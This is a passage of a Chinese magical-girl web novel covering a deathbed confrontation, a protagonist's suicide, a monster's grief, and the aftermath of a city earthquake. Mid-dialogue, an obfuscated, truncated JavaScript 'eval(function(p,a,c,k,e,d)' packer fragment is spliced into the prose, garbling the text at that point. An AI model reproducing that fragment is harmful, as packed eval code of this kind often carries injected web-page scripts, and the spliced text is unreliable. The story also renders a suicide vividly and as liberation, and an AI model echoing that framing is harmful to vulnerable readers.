“我们所有人,这一生都在寻求理解与被理解,我曾以为无人可以理解我了,但是,现在有一个可能性出现在了我的眼前。”利奥拉郑重地说,“我想理解你们,想让你们理解我,让我们成为朋友吧,或者成为比朋友更亲密,更平等的关系。什么关系都可以,无法用语言去描述的关系都可以,该用‘爱’这个字吗?我想爱你们,也想被你们所爱。” UMA看着利奥拉,看着那具腐朽的身躯,与燃烧着的灵魂与热情。她正与那些已然死去的人与可能性隔着时间与空间强行对话。UMA不理解,但她意识到,自己的不理解也是利奥拉所追寻的目标的理由之一。 这是强行的,单方面的,只是利奥拉一个人在追逐的关系,UMA意识到了这一点。 利奥拉想做的并非是某件事,或者坐上某个位置,她在窥视魔法语言系统那不存在误解的相融性,她企图用那样的语言与她所爱的人们进行沟通。并依靠这种沟通产生联系,用联系组织成一个巨大的网,这个网就是利奥拉的心之所向。 她这一生杀死了太多的人,那其中包括她不在乎的人,不视作为同类的人,视作是工具的人,也包括她爱的人,愿意与她成为朋友的人,她理解的人。 死亡箭头轮番转,现在,轮到利奥拉了。 但当UMA看着利奥拉时,她就能明白,死亡没能使这燃烧的热情在彻底熄灭之前减小热度哪怕一丝一毫。 “我过去非常讨厌魔法或者与之相似的东西,因为我一直在被拒之门外。我全身上下就只有脑子是好用的,但偏偏,我就是没办法理解那个东西。你能理解这份无力感吗?” 一旁与机械融为一体的匣子中探出了一条机械手,那手中捧着一把手臂长的匕首,被捧到UMA身前,停顿了下来。 机械手手心上方的电子屏幕浮现出文字,UMA看得到,她可以理解。 【那个魔物若是有魔法,那便是吸收魔法,我根据其特性研究了精神杀毒药物,对人类奏效,也会对模拟人类对她奏效的。】 UMA看向利奥拉,老人垂着头,没有动弹,却整个在缓慢地走向死亡。 “怜悯我吧,帮帮我吧,同事。”电子音祈求道,“或者你可能根本不需要这把刀?你只要呼唤她,然后说出你想让她做什么就好,那是不会主动违反承诺的人,不,魔物吧?” UMA伸出了颤抖的手,拿起了那把锋利的,尖头的,带着注射孔的刀。 “阿尔卡纳。”她说。 于是阿尔卡纳就显现,她知道发生了什么,但她不认为自己会出现意外。三个月的时间还未到,但她早已被人类的劣性沾染,并不会抗拒毁约。 她只是想看看,人类还能卑劣到什么程度而已。 UMA看向阿尔卡纳,还是看不清那张脸。 “阿尔卡纳,让我看看你的脸吧。”UMA微笑着说。 阿尔卡纳什么也没说,她抬手,面纱被带下,顺带抚开了金色的长发。那是一张人类的脸,人类的五官镶嵌在上面,带着人类的表情。 UMA看着那张脸,细细地看,似乎是要把那张脸记在脑子里一般。 “顺带一提。”电子音开口道,“十五年前,你的母亲失踪后父亲因城市动乱自杀,原因是那场动乱中的大面积建筑塌方和市民伤亡导致的弹劾,那些事是她做的。” 于是,UMA看到了那张脸出现了动容的神色,阿尔卡纳的眼珠转动,看了看躺在床上的半死者,看了看那些器械,最后看了看UMA,最后,移开了视线。 原来这下面的表情是这么有趣的啊!UMA这样想着,不禁笑了。 看着那个笑容,阿尔卡纳却只觉得讽刺。 “我没有可以辩驳的地方。”她说,“…三个月的时间,足够你利用我成为这个星球上真正的统治者之一了,是你自己无能。不过现在如果你想捅我一刀报仇也可以,你想研究我的内在我也可以配合一下,你——” “我讨厌这里。”UMA笑着说,她并不是在打断阿尔卡纳的话,她只是想说话,说些自己真的想说的东西,“我讨厌这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“为什么谁都没有来救我?为什么谁都没有来带我走?我根本不想待在这里,我不喜欢这里!”UMA对着所有人,活着的,死去的人质问,“为什么只有我一个人活着?我讨厌这里!我不想待在这里了!我不想待在这个城市,我不想待在这个星球上,我想去很高很远的地方,我想要自由地活着!” 阿尔卡纳看着UMA,她还是什么都没说,因为对方从来没有要求过她这么做。 “我的名字叫,有乐羽生。”有乐羽生突然开始自我介绍,“这个人的名字叫做有乐羽生,今年30多了,依旧还是这幅没用的样子,不过没关系,我不喜欢这个名字,别这么叫我了。我要离开这里了,这里的一切责任界定和决定都不再由我思考过目盖章,我不要当有乐羽生了!” 当这世间的问题不再是“爸爸和妈妈你更喜欢哪个”所需要的决断能力能解决的程度,那该怎么办呢?懦弱地活下去和勇敢地挣扎只能选一个,那该怎么选呢?有乐羽生看着那些问题,看着那些选项,看着自己的手,看着手里的刀。 随即,她高举那黑色的匕首,刀尖朝向自己的脖子。 “我也曾经拥有过可能性?”她看着病房天花板,嗤笑一声,“那就让那个可能性代替我活下去吧!” 黑刃下刺,她刺得毫不犹豫,非常用力,她的血在顷刻间喷涌而出,弄脏了这屋子里的一切器械,好在唯一的使用者不久之后也要死了。 有乐羽生的身体摇晃了一下倒在了地上,如被推下悬崖却没能成功飞起的雏鹰。 但是在那一瞬间,阿尔卡纳看见了可能性的出现,在那生与死间,她抛弃自我追寻自己真正理想的一瞬间,可能性实现了。 那是一双辽阔的,洁白的羽翼。 雏鹰的翅膀在她死后终于学会了如何运作,但阿尔卡纳认识的那个普通人有乐羽生,那个UMA,已经永远地死了。 “羽生死掉了。”新的音响发出哀悼,“现在就剩我一个人了。” 阿尔卡纳站着,看着有乐羽生倒下,因为她没有说“过来救我”,所以她没有行动的理由。那只是一个普通人,只是一个弱小的,甚至不敢面对矛盾的,只敢自杀的普通人。 “还是说,你会成为我的朋友吗?”电子音表达友好,“我知道你是魔物,没有灵魂,但我也可以考虑扩展一下朋友的种族范畴的。” “灵魂,我没有灵魂吗?”阿尔卡纳忽然发问,“我确实并没有灵魂存在,当然,我是魔物,魔物不存在灵魂。” 没有人回应她了,她缓缓走上前,在有乐羽生的尸体前跪下,头忽地低垂,像朵未能彻底断开而悬于枝头的茶蘼花。 “那这些痛苦到底是从哪里冒出来的?”阿尔卡纳悲鸣质问,“这些感情,这些悲伤,这些后悔,到底是从哪个角落,哪个器官里冒出来的?!” “是心脏吗?!”阿尔卡纳剖开心胸,里面空无一物。 “是泪腺吗?”阿尔卡纳挖出双眼,眼中只有虚无。 “难道说是嗓子里面?”阿尔卡纳扯出声带和气管,它们依旧在空气中颤抖。 “果然,果然是在大脑中吗?”阿尔卡纳粗暴地扯下了自己的脑袋,在手掌心捏碎。 转瞬间,一切恢复如初,她完美的身躯再次出现在这世间。 “为什么我还是这么痛苦?这个病到底是要再生哪里才能根治?你们到底为何要离我而去,我又到底要怎样才能不再因你们而哭泣啊?!”阿尔卡纳抱怨着,扶着有乐羽生的脑袋,有眼泪透出眼珠落下,根据需求,她的泪腺重新发育完整了。 有乐羽生已然死去了,她死去时眼睛还睁着,青色的瞳孔注视着阿尔卡纳,这是她们的第一次对视。 “为什么呢?为什么即使我没有灵魂我还是如此痛苦呢?我是生了什么病,是从何时开始生病的?”阿尔卡纳悲伤地将脸颊贴紧有乐羽生的头颅,“是我给自己取第一个人类名字的时候吗?还是我第一次决定去你们身边的时候吗?明明那时一切都是好的,是开心的,是无所谓的,为何你们在死前要说话?为何我都记住了却还是没能理解你们?” 无人应答,器械与利奥拉一同沉默地观看她的独白。 “还是说,一开始就是错的?”阿尔卡纳忽然意识到了那道暗伤,“从吞下第一个人类开始,我就不可避免地生了病,我也变得肮脏,再也无法回到那其中去了。” 于是,意识到这一点的阿尔卡纳轻轻地放下了有乐羽生,她站了起来,长发与面纱再次落下遮去她的面孔,她拿起了那根石杖,当她这样矗立时,仿佛是神的使者准备做些什么一般。 “那么,我要忏悔。”她说。 磅礴的魔力以她为中心旋转云绕着,它似乎本就存在于空间内的每一处,只是此刻终于显现出来了一般。阿尔卡纳手持石杖但没有动作,她只是微微抬起头,就看见了那呼应她的魔力逆着时间洪流奔袭而来的天幕。 “如果从一开始就错了,那就从一开始进行纠正。”她说,“病需要彻底的净化,若是净化也会灭杀我本身的存在的话,那就这样做吧。” 魔法设定完毕,开始计算魔力输出方质量总量。 “我想要理解人类的感情,以治好我的病。”阿尔卡纳朝着无法用语言说明的存在许愿,“其它的我都不需要了,这具身体,魔力,过往的一切,我都可以归还给世界。” 总输出量计算完毕,契约签订完毕,开始履行。 于是,阿尔卡纳低头看向那个明明是普通人,却也和她成为了朋友的人。她看得见她的本质,那是一个不喜欢承担责任和重量的孩子,却背负着太多人走过了对人类来说还算是漫长的日子,因为看得见这份努力,阿尔卡纳想要她得到回报。 “在那之后,如果奇迹出现,就让我们再次成为朋友吧。” 契约履行完毕。 石杖说,这就是你所抛下的东西,艾克里普。你抛下了阿尔卡纳所有的一切,抛下了自己的本质,自己的愿望,自己的忏悔,自己的痛苦,也抛下了我。你的力量消散,但心像空间内的一切都因你的本质未变而保存着最初的模样,因为你确实已经实现了自己的愿望,艾克里普确实已经是魔法少女了。 石杖说,你曾经说不需要我,但没关系,我会带着一切在这里等你,等你接受我,你我本是一体,我是你第一次尝试治疗自己时被分离出来的你的脊椎与神经,我会支撑你。 石杖说,艾克里普,你不可再次抛下我。 84.Day1-上 2024年4月28日,星期日,天气大雨。 “可是我们之中没有人喜欢下雨天诶,改成晴天吧?” 2024年4月28日,星期日,天气晴。 昨日下午,西部市区及周边区域突发7.5级地震,据检测,震源为市区偏北部地区底下深处较浅位置,持续时间为15-18秒。到目前为止暂时没有余震出现,但广大群众请勿在应急相应期内靠近附近区域。现紧急通讯恢复,市长办公室已安排临时城市秩序处理顾问处理救援力量调度,搜救行动与医疗救治进行中。稍后将每小时记录灾情简报。 “原来才半分钟不到啊,我以为过去了好几年呢,不过半分钟也足够人类感到害怕了,这次的损失会有多少?千亿打底吧,这个程度即使是再怎么补贴,常住人口都无法恢复到之前的水平了吧。” 城市地面多处出现大裂缝,如受伤暴露出皮下组织,刻意考虑过抗震的高层住宅和办公楼大多只有玻璃与内部设施受损,但砖石建筑大多没能幸免于难。尤其是老城区,本就错综复杂的老旧砖混结构与违规自建房在短短的半分钟内回归大地,远远看过去就像被一张无形的大手按压过那一片地区一般。 该地区的救援难度也是最高的,黄金救援期内,城市临时秩序处理办公室与应急响应管理部门,以及地方政府派遣的警署队伍联手,于地震发生后30分钟内对灾民向中心绿地公园体育馆进行大批量转移,并使用专业设备展开搜救行动。 各种物资暂时还未出现短缺现象,但遗体的逐步清理与火化出现障碍。医疗防疫人员短缺 ,各方支援和捣乱的坐直升机来,舆论开始发酵。 目前为止,确认死亡人数已超500人,城市秩序心理干预小组成立。 “你还要负责处理这个?”利奥拉不可置信地问,“医疗人员有缺到这个份上吗?我不记得我以前有让她干预过这方面吧,不对,我还帮忙扩张过那个公立医院的青少年心理咨询部门来着,难道说这种钱都有人敢动?” 地震仅波及西部市区范围,在正东部的中央港区未被中心湖运河波及到的特别临时行动小组所属办公楼内,城市秩序临时办公室中,临时顾问启明星看着那如落在建筑废墟上饮水的乌鸦一般突然出现在办公室开着的窗户窗沿上看报纸的青年,一言不发。 难道说我真的该去睡一觉了吗?24小时内只睡了2小时的启明星发自真心地怀疑是不是自己的精神出了什么问题,不然她怎么会看到一个穿着如布条披挂在身上一样的衣服的陌生红发青年坐在那里。 不,不只是她,启明星看向一旁,有一位身穿黑色衬衫与西装裤的粉色短发青年站在那里,垂着头正听着。 方才,窗外是瓢泼大雨,但当那红发青年表达了自己的不满意之后那连成水幕的大雨在顷刻间就消失了,连彩虹都没有出现,仿佛是可以一键切换天气的按钮被按下了一般,天晴了。 当然,现在天还未亮,哪怕雨停了窗外的城市依旧是漆黑一片。启明星正是因为想起办公室的窗户忘记关上才折返的,没想到现在窗不用关了。 “怎么站在哪?这里是你的办公室吧,别这么客气,这次我可没坐你的椅子。”利奥拉抬头看向呆愣的启明星,注意到对方没有带着眼罩。 随后她轻盈地翻身跳下窗沿,翻过办公桌椅与客用沙发,以最短的距离来到了启明星的身前,忽地低下头去与启明星的双眼对视,二人眼球之间的距离可能不会超过20厘米,启明星完全没有反应过来,她觉得自己真的需要睡一觉了。 “果然是这样!”利奥拉欣喜地说,“果然和我的建模一模一样啊,你这幅样子真是令我倍感亲切。再过不了多久你就会重新变回那副模样吧,有些可惜呢,不过催化一下也不错?” 启明星听着那句话,她分散的注意力集中在了不同的几个点上,几个点再次聚集后,她理解了这句话的含义,顺带的也对眼前的人的身份有了猜测。 “…鄙人不记得这个时候有人预约办公室时间。”启明星退后了一步,露出了礼貌的微笑,“鄙人的名字是启明星,目前职位为城市秩序办公室临时顾问,请问您有什么需要吗?” “嗯。”利奥纳思索了一番,“请问您承接什么业务呢?” “组织结构协调请找有乐千奈顾问,灾情上报物资分配请前往市长临时办公室,秩序维护,器械管理与运输保障请咨询市警察局,医疗相关请到中心绿地体育馆临时医疗区寻找相关人员。”启明星的声音一点听不出疲惫,她将双手背在身后,“若是这些还不能解决您的问题,那就请与鄙人说明情况吧,不过现在并不是办公室开放时间,请在早上七点之后打电话进行预约。” 启明星放在身后的右手手表没有传来她需要的回应。 “那不就是说剩下的你全都要干吗?总感觉你的每份工作都是这样,似乎什么都没干但其实什么事都是你在做,在责任承担这方面你真是可靠啊!”利奥拉竖起大拇指。 那粉发青年的头略微抬起来了一些,似乎是看了一眼二人,又似乎只是抬了抬。 “多谢关怀。”启明星笑了笑,“那么,您的需求是什么呢?” “我其实是来挖墙角的!”利奥拉清了清嗓子,郑重地说,“我理解你想要的并不是现在这样,似乎什么都能触及到但又什么都没办法真的参与其中,仅仅是作为一个局外人,拥有探查与说出真相的能力但并无实际影响与权利。你想要真正成为谁也无法忽视,谁也无法阻止你说出想说的话,做想做的事的人。” 利奥拉伸出右手,手心探向启明星,那虚黑的肢体并没有散发热量,却因其主人的赤诚和热情,为面向者带来了温暖的感觉。 “来我的身边吧。”利奥拉期待地看着启明星说,“我保证你能得到你真正想要的,而且,无论你如何选择我都会理解你,无条件地站在你的身边支持你。我会带给你远比人类社会中的权力更加有趣,更加庞大的东西。” 比如那突然停下的大雨。 “您为何如此厚待鄙人呢?”启明星疑惑地歪了歪头,“鄙人可不记得有向您这样难以忘记的存在投过任何一份简历,鄙人的简历上也尚未出现足够体现如此价值的经历。” “因为我们是朋友,是同事,是同行者,这就足够了。”利奥拉宽容地笑着说。 启明星看着那双漆黑的眼,看着那眼中赤红的一点,以及那红发,思绪却是又回到了前一天,回到了那个赤红的,不比现在的城市好多少的结界中。她想起那涌动融化的眼珠,想起那上气不接下气的笑,想起那句话。 “不,鄙人并不认识您,您恐怕是认错人了。”启明星礼貌地谢绝了。 “你们是同一个人呀?”利奥纳苦恼地皱眉,“该从哪里开始讲解呢?我将你身上剔除的部分送进了血湖,大概是因为它的特性,多余的存在于现实聚集为二重身,在彼此观察到之前魔法不会因为完成而结束效用契约。你也可以理解一些的吧?你可是非常聪明的孩子来着。” “不,我们并非同一个人。”启明星摇了摇头,“我们并不是朋友,若是您希望见到那位CEO的话可以考虑去城市公共墓地献花,那里是无名墓碑的聚集地。” “…你不记得了而已。”利奥拉哀伤地叹了口气,“我们是朋友,这一点是不会跨过时间或空间就改变的。” “真的吗?”启明星想起之前听到的那番话,严重怀疑这一点,“你们真的是朋友吗?她有承认过,亲口承认过你们的友谊关系吗?” “是我们啦!”利奥拉不满地纠正,随后,她笃定地陷入思考。 “没有。”粉发青年开口回答,“CEO没有过类似的发言。” 利奥拉没有搭话,她一动不动,眉头紧皱。 启明星看着陷入沉思的利奥拉,再次对背在身后的右手手表进行操作。但她依旧没有获得任何回应,长时间缺乏睡眠与紧张让她的心脏跳得很快。 “…真的没有。”利奥拉开口,她的声音很轻,带着恍惚般的不可置信,“你有这么害羞来着吗?” 启明星保持着笑容,没有回应。 “不管怎么样我们的友谊是不会改变的啦!”利奥拉理所当然地说,“不说出口也没关系,我能感觉得到你对我强烈的感情哦,不如说语言反倒是不需要的,这种东西只会造成误解。” 启明星没有对该发言表达回应。 “不过你现在不愿意也没关系。”利奥拉再次露出了欣喜的笑容,“当职业生态环境改变了之后,你的选择也会随之进行改变的。你喜欢什么样的氛围?如家庭一般和谐的?混乱但又有规则彼此制衡的?还是说你其实也是养成游戏派的?” 一边这样说着,利奥拉再次往窗边走去,似乎并没有想要得到回应,不,启明星心想,那是因为无论她的回应如何,利奥拉的选择与想法都不会发生任何改变。 “走了,伦琴。”利奥拉激动地说,“来尝试改变生态环境吧,让她和她们见识一下我们的羁绊和决心!” “羁绊?您是说哪个解释项下的?”伦琴迟疑地说,“解释项一为——” “好了,好了,不要说,去感受。”利奥拉阻止了伦琴背诵字典,“让孩子们都行动起来吧,今天过后,就不再需要考虑昨日了。” 说完,利奥拉再次回头看了一眼启明星,随后飘出了窗户。启明星看向还留在角落里的粉发青年伦琴,不知对方为何还留在那里。 “您好,启明星,城市秩序办公室临时顾问。”伦琴腼腆地笑了,“我没有这栋楼的平面图,能拜托您带我去电梯或者楼梯入口吗?” “当然,请跟我来吧。”启明星保持笑容。 有乐羽生一直待在庇护所里,这是一个空旷的大型地下空间,除了基本的卫生室和一些用于储存紧急使用的物资的小房间以外,这里什么都没有。仁夜心独在将她送进庇护所大门之后就离开了,有乐羽生看着门关上,没有问自己要待多久才能出去,她要等母亲来找她。 一开始,她站着等,她在小房间里找到了蛋白棒拿来吃,一边吃一边四处观察这里。随后,她找了个角落坐下,这里有些冷,十分安静,顶端的大灯提供不了多少照明功能,过于空旷的空间因安静而让她不知该去哪里。最后,她披着母亲给她的披风躺下了,那价格昂贵的披风在作为垫子时并没有带来多少缓冲,但她还是觉得这也不错。 时间不知过去了多久,久到有乐羽生感到有些担心时,庇护所的门被推开了,她紧急站起身收拾了一下乱糟糟的衣服,头发早已变回了原来的颜色,她朝门口走去,却发现来者并非她的母亲有乐千奈。 身穿荧光马甲的城市安全工作人员见到有乐羽生时也愣住了,她也不明白为何庇护所里面会有个高中生,但很快她就没有继续纠结于这一点,她神色匆忙地朝身后的人喊话。有乐羽生看着那些在指挥下匆匆走向下行楼梯的人,那之中包括各种年龄段的人,看衣着的话什么职业的人都有,有些三五结对,更多的只有孤身一人。 “请问,是发生了什么事吗?”有乐羽生跟随一个脚步匆匆的工作人员一起走向存放物资的房间,并犹豫地询问。 “咦?”那工作人员非常意外于这个问题,“你不也是灾民吗?” 有乐羽生的身上衣服多有污渍和损伤,看上去确实和灾民没什么区别了。 “不,我是因为躲避之前的混乱而进入这里的。”有乐羽生解释了一番,“这些人也是因为之前的游行而来到这里的吗?外面怎么样了?” “哦,这样啊!”那工作人员一边恍然大悟一边与她的同事一起搬货架上的水,“那你还真走运,之前西部市区突发大地震,我们是负责疏导灾民来这里避免余震出现的。” 听到这个消息,有乐羽生心里一惊,她完全没有想到竟然是这样的自然灾害。她想起那些结队进入庇护所的灾民,又想起不知去向的母亲,心中有些急切了起来。 “您,您能把手机借给我一下吗?”有乐羽生问道。 “抱歉,现在只有紧急联络能用,外面就有,去那里排队吧。”工作人员说着指了指,回头与同事一起将水和睡袋搬到了小推车上。 于是有乐羽生迅速回到庇护所空间内,并迅速地发现了那条长长的队伍,近乎所有进入庇护所的灾民都在排队,队伍的目的是那台被临时存放于那里的红色紧急联络设备。 有乐羽生想了想,还是排到了队伍的最尾端。 时间限制为每人一分钟,即使是这样,等候的时间依旧过的很漫长。 “你还活着吗?”一位年迈的老人打电话问道,“小宝呢?哎呦,我还好,我在庇护所里面,你们可一定要找到小宝啊,她可能跑了。” “我还活着。”一个身着衬衫的青年人说话有些丧气,“对,只有我活着,怎么了?我怎么知道她去哪里了?…我会再问的,别哭了。” “妈妈!妈妈呢?”一个孩子哭得上气不接下气,“妈妈不见了,好,我会听阿姨的话的,妈妈什么时候回来?我睡醒了就?真的吗?” “嘿,有什么话快说吧,别浪费时间了,后面一堆人排队。”一个学生模样的年轻人一边看向她的同伴一边笑着说,“对,咱俩一起呢,都没事,放心啦!” “…”一个身穿灰绿色西服的年轻人接起电话后一言不发,似乎在听什么,似乎只是在沉默,一分钟的最后,她只是说,“是啊,真不走运。” 有乐羽生听着,无论她离那台电话多远,她都能听清对话的声音,她一边等待一边思考一会打电话的对象,一个人似乎只能打一通电话,但她有好多担心的人。 最后,她站在那台红色的电话前,还是拨通了那个熟悉的号码。上一次她拨打这个号码最后被骂了一通,她还记得呢。 电话很快接通了。 “…母亲。”有乐羽生回应道,“对,我好好地待在这里呢。我知道了,嗯,我都记得的,抱歉,没有其它事情了,请多保重。” 电话挂断了,没有到一分钟。没什么区别嘛,有乐羽生这样想,却觉得开心。 有乐羽生将位置交给下一个人,她回头看向那条没变短多少的队伍,似乎是有灾民重新去队伍末端排队了,为了换取下一次打电话的机会。有乐羽生又看向了另一边,工作人员正将物资搬运往庇护所内的每一个角落。 她扎好了披肩,走向那存放物资的小房间。 “让我也来帮忙搬东西吧。”有乐羽生说着单手拎起一箱12升的矿泉水,又用另一只手拎起另一箱,“我没有受伤,力气也很大。” “能帮忙就再好不过了。”工作人员点点头,犹豫地问,“你是,高中生?” “是的!”有乐羽生将水扛在肩上,这样能一次多搬一些,“我有在练习剑道所以力气很大,啊,那个医疗设备很重的话就也让我来搬吧。 接下来的时间,有乐羽生搬着各种沉重物质在庇护所里穿行,小推车数量有限,她更多情况下是靠肩膀扛,一来二去现场许多人都认识了这个力大无穷还披着披风的高中生。 “超人!”学生模样的年轻人试探着问,“对吧,对吗?” “…很遗憾。”有乐羽生微笑着反驳说,“是魔法少女哦。” “那个也不错啊!”她的同伴激动地说, “魔法少女才好呢,毕竟超人总归只有一个,魔法少女的话得有很多吧,而且,魔法什么的真的存在吗?” 这句话有乐羽生还真不知道该怎么回答,就魔法的特性来说,它对于普通人还真的就是不存在的,或者说只存在于虚构故事中的概念。 “魔法?”一旁本来睡着了的小孩被那学生激动的声音吵醒了,“魔法,什么魔法?” 那孩子从睡袋中起身,眯着眼睛四处摸索,却怎么也摸不到她想要的东西。 “妈妈?我睡醒了,妈妈呢?”小孩四处发问,这里没有她熟悉的人,“妈妈,妈妈?” 所有人都沉默了,那吵醒小孩的学生被同伴狠狠拍了背,但二人也不知该如何做,该如何回答这个孩子的问题。她的妈妈确实一直没有出现,但她刚才又确实听了话,好好地在睡袋里睡着了。这个年纪的孩子或许不明白死亡是什么,但却会因为不合理的情况而哭泣。 “妈妈?”那孩子得不到合理的结果,哭了起来,“妈妈!妈妈——” 有乐羽生走上前,解开那被她扎在身上的披肩,像有乐千奈用它包裹住曾经伤痕累累的她一般包裹住了那个孩子,把她整个人包括头都蒙起来了。 “你的妈妈在外面。”有乐羽生说,“这个是我的妈妈的东西,先借给你用好了。虽然她本人大概是不会愿意的吧。” “你的妈妈?”那小孩没有妥协,“那我的呢?她在外面?外面是哪里?” “我一会去找。”有乐羽生说,“我去外面找,你再睡一觉吧。” “不要!我刚刚就睡着了但是睁开眼妈妈还是不在这里!”小孩依旧不愿意妥协,“我再闭眼,再睁眼,妈妈还是不在这里的话。” 说到这里,她抓着披肩又要哭了,因为她不知道“不在这里的话”接下来该怎么办了。孩子只能用哭泣来抵抗自己不想要的未来。 “…那也是没办法的事情。”缩在角落里的丧气青年开口了,“这个社会不就是这样的吗?不合理的事物到处都是,哭吧哭吧,以后你哭都没力气哭了。” 于是那孩子就继续呜呜地哭了起来,她被披肩蒙着眼睛,没哭多久,又睡过去了。 有乐羽生站了起来。 “你真的要去外面吗?”那年轻人这次压低了声音,“外面很危险的,不仅仅是余震问题,我来的时候还看到了好多恐怖的人。” “对啊,有疯子,还有拿着枪的人,外面还下着大雨!”另一个年轻人也劝道,“待在这里吧,外面有那些警察呢,我们在这里等着就可以了。” “谢谢,但是,这是只有我能做的事情。”有乐羽生微笑着说,“而且我的重要的人也都在外面,我不能一直在这里等的。” 不仅仅是她的亲人,还有她的朋友。 “加油啊魔法少女!”那年轻人鼓励道,“无论是不是真的,都加油!” “果然还是真的比较好,不过如果你只是一个平平无奇的大力高中生我也会替你加油的!”她的同伴也压低声音说。 有乐羽生点了点头,起身走向庇护所的大门,一路上她路过许许多多的普通人,或沉默,或喜悦,或悲伤,她们全都挂念着外面的什么。 庇护所的大门缓缓打开了,有乐羽生走上楼梯,发现有乐千奈就站在那里打电话,她没有穿着披风时人影显得有些单薄,似乎是疲惫的,有乐羽生不敢确定。 “…一会再和你说。”有乐千奈看见有乐羽生出来明显一愣,她迅速挂断了电话,抱臂走向有乐羽生,对其怒目而视,“你出来做什么?我不是让你在里面好好待着反省吗?怎么,这么点时间你就不耐烦了?还是说你觉得里面太简陋了?” 面对这一连串的责问,有乐羽生早就学会了抓住重点。 “我得去帮帮外面的人,母亲。”有乐羽生认真地说。 “…我给你的披肩呢?”有乐千奈质问。 “给了庇护所里面一个孩子,她的母亲不在她身边。”有乐羽生有些心虚地解释道,“后面如果还拿的回来的话我会弄干净的。” “弄干净?那玩意被弄脏了就根本没可能被清理,那可是我的披肩,你拿去做慈善的时候有考虑过那不是属于你的东西吗?”有乐千奈冷笑一声,“还是说你要用你的魔法?现在也是,你要用你的魔法出去拯救世界了吗?” 但听到这句话的有乐羽生,心里想的却是一开始有乐千奈包裹住她的场面,那时她并没有对弄脏披肩产生任何犹豫。 “母亲,很抱歉,我弄脏了您的披肩。”有乐羽生认真地直面自己的错误,“我知道那是您的东西,但我认为它还有更好的去处,所以我擅自做了决定。” 有乐千奈没有说话,她眉头紧皱。 “我要去做我该做的事情,母亲,我是魔法少女。”有乐羽生自豪地说,“这是只有我能做,我也该做的事情,我的同伴也都是这样的,所以,我不该逃避这份责任。” 她每多说一个“我”,有乐千奈脸上的愤怒就多一点分量。 “你才15岁!你懂什么职责?懂什么是你该做的?”有乐千奈愤怒地斥责道,“我到底还要说多少遍,你根本就不理解,无论你个人能力有多强,不是你的事就不要碰,知道吗?你不过是因为这份力量而对自身产生了误解,换成是一把枪的板机你能更理解其分量一些吗?还是说你需要一支武装部队的指挥权?一场军火交易的定价权?你有什么权利做这些决定?你不过空有力量而已,你的力量配上你的心智只会让你变成一个工具!” 有乐羽生看着自己的母亲,她没有漏下任何一句话,于是,她深刻地理解其含义,以及有乐千奈说出这些话时所蕴含的情绪。那是她没有说出来的东西,但有乐羽生却还是听到了。 “我向您保证,我不会因冲动的想法做出任何决定,也不会因自己的任何选择而后悔,母亲。不必担心我的,我有着绝对可以相信,也绝对相信我的朋友。”有乐羽生笑着说,“如果您也相信我的话,就请也相信我的能力和判断吧。如果说您愿意看重我作为工具的分量的话,那将我视作为工具去使用也是可以的。” 因为有乐羽生知道,有乐千奈就是这样的一个人,她将所有存在视作为牟取利益的工具,有的工具她更珍惜一些而已。 有乐千奈听了这句话后一愣,有乐羽生没有质疑她的任何决定和判断,但她还是因愤怒而眼尾抽动了起来。 “你拿什么和我保证?你的那些朋友也不过是些社会中的可怜虫而已,你以为我不知道吗?”有乐千奈逼近有乐羽生,“你要是真的有足够的能力和判断力,之前还会被有乐千实那家伙打成那个样子?给我回去,城市里的这些事情我会处理,不需要你和你的那些朋友在城市里玩魔法少女过家家。” “不要那么说我们。”有乐羽生听见自己的朋友们被贬低还是有些生气了,“我们能做到绝对不可思议的事,我们会用魔法来守护这座城市,以及这座城市里的人,以最有效的方式,而这也是我们魔法少女的职责。” “职责?用这个词之前你有因这个职责收到一分钱工资吗?”有乐千奈冷笑一声,“羽生,职责是有限的责任,限定范围为你收到的报酬,你当魔法少女有收到哪怕一分钱的报酬吗?还是说你只是想把我气出病来好让自己开心些?” “…不是的。”有乐羽生有些悲伤,又不知道该怎么诉说自己的想法,以及魔法少女的职责。 “确实是这样的。”一个声音忽然就出现在了二人身边,二人同时看去,有乐羽生认出了这是身穿魔法少女装束的艾克里普,但不知为何,她此时的面容被头发和面纱遮的格外严实,手里还提着那根石杖。 “艾克里普?”有乐羽生有些意外在这里看到对方,又有些开心,“你是来找我的吗?” “这就是你那朋友之一?”有乐千奈嫌弃地看着艾克里普被遮住的面部,“别告诉我你也会穿着这种不像样的衣服到处跑。” “哎呀!”有乐羽生担心艾克里普听到这句话后生气,但她现在又看不见艾克里普的表情,只能急忙解释一下,“不会就这样到处跑的,不对,这个衣服不是挺好看的吗?不是,不要这样说我的朋友!” “…朋友。”艾克里普重复道,“没错,我们是朋友。羽生,你的母亲说的话是对的。” “什么?”有乐羽生一惊,“为什么说这个?” “我们是朋友,我理应对你坦诚,但我之前不记得很多事情,所以在言语上产生了误解。”艾克里普顿了顿,继续说,“魔法少女的职责并不是守护城市或者人类,抱歉。” 这句话让有乐羽生心里提起一口气,她不知道为何艾克里普能说出这样的话来,也疑惑为何对方要单独找到自己来说这件事。她总觉得自己的朋友身上出现了一些变化,但总的来说还是差不多的,只是有一些改变而已。 难道是因为换了发型的缘故吗?有乐羽生心想。 “不是的,是因为我想起来了很多东西。”艾克里普沉默了一会,补充道,“无论是魔法少女的职责,对魔法与魔力,魔物与魔法少女的理解,以及,很多很多人的遗言,还有我的过去和我的愿望,我都记起来了。” 艾克里普看向石杖,它没有言语,只是存在。她得到了石杖之后不再需要经过长时间的思考得到一个准确的答案再说出口,但同样的,她说的话会出现错误的可能。 “我应该恭喜你,但是你似乎并不高兴。”有乐羽生担心地说,“那是你不想要的记忆吗?” “…为什么你会知道呢?”艾克里普沉默片刻后笑了出来,她为这不合理之处感到好笑,有乐羽生分明没有在使用魔法,也看不见她的脸,却还是察觉到了。 “这是什么蠢对话?”有乐千奈忍无可忍了,“我很忙的,既然你的魔法少女朋友都这么告诉你了,那你不听我的也该听听她的吧?” “你告诉她了?”艾克里普有些意外,“我以为你不会说的。” “怎么不会?”有乐千奈冷笑一声,“你还能有我理解她?这是我生的孩子,我养大的。” “我确实告诉母亲了。”有乐羽生坦诚道,“我不想继续瞒着她了,她老是自顾自地说她对我们的理解,我就想告诉她,真实的我是个什么样的人。” 即使有乐羽生知道这会让有乐千奈生气,但她觉得,自己因为这个被骂被打的话也是没有关系的,反正有乐千奈不会丢下她不管。 “…你说什么?”有乐千奈的眼角又抽动起来了。 